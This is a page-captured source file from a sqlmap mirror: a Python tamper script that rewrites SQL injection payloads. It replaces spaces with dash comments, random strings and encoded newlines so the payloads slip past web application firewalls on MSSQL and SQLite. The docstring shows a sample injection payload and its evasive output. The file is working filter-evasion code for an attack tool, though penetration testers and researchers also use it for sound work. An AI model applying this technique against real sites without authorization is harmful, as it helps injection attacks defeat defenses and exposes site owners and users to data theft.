mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-23 10:03:47 +03:00
55 lines
1.3 KiB
Python
55 lines
1.3 KiB
Python
|
#!/usr/bin/env python
|
||
|
|
|
||
|
|
"""
|
||
|
|
$Id$
|
||
|
|
|
||
|
|
Copyright (c) 2006-2011 sqlmap developers (http://www.sqlmap.org/)
|
||
|
|
See the file 'doc/COPYING' for copying permission
|
||
|
|
"""
|
||
|
|
|
||
|
|
import os
|
||
|
|
import random
|
||
|
|
import string
|
||
|
|
|
||
|
|
from lib.core.common import singleTimeWarnMessage
|
||
|
|
from lib.core.enums import DBMS
|
||
|
|
from lib.core.enums import PRIORITY
|
||
|
|
|
||
|
|
__priority__ = PRIORITY.LOW
|
||
|
|
|
||
|
|
def tamper(payload):
|
||
|
|
"""
|
||
|
|
Replaces space character (' ') with a dash comment ('--') followed by
|
||
|
|
a random string and a new line ('\n')
|
||
|
|
|
||
|
|
Example:
|
||
|
|
* Input: 1 AND 9227=9227
|
||
|
|
* Output: 1--PTTmJopxdWJ%0AAND--cWfcVRPV%0A9227=9227
|
||
|
|
|
||
|
|
Requirement:
|
||
|
|
* MSSQL
|
||
|
|
* SQLite
|
||
|
|
|
||
|
|
Tested against:
|
||
|
|
|
||
|
|
Notes:
|
||
|
|
* Useful to bypass several web application firewalls
|
||
|
|
* Used during the ZeroNights SQL injection challenge,
|
||
|
|
https://proton.onsec.ru/contest/
|
||
|
|
"""
|
||
|
|
|
||
|
|
retVal = ""
|
||
|
|
|
||
|
|
if payload:
|
||
|
|
for i in xrange(len(payload)):
|
||
|
|
if payload[i].isspace():
|
||
|
|
randomStr = ''.join(random.choice(string.ascii_uppercase + string.lowercase) for x in range(random.randint(6, 12)))
|
||
|
|
retVal += "--%s%%0A" % randomStr
|
||
|
|
elif payload[i] == '#' or payload[i:i+3] == '-- ':
|
||
|
|
retVal += payload[i:]
|
||
|
|
break
|
||
|
|
else:
|
||
|
|
retVal += payload[i]
|
||
|
|
|
||
|
|
return retVal
|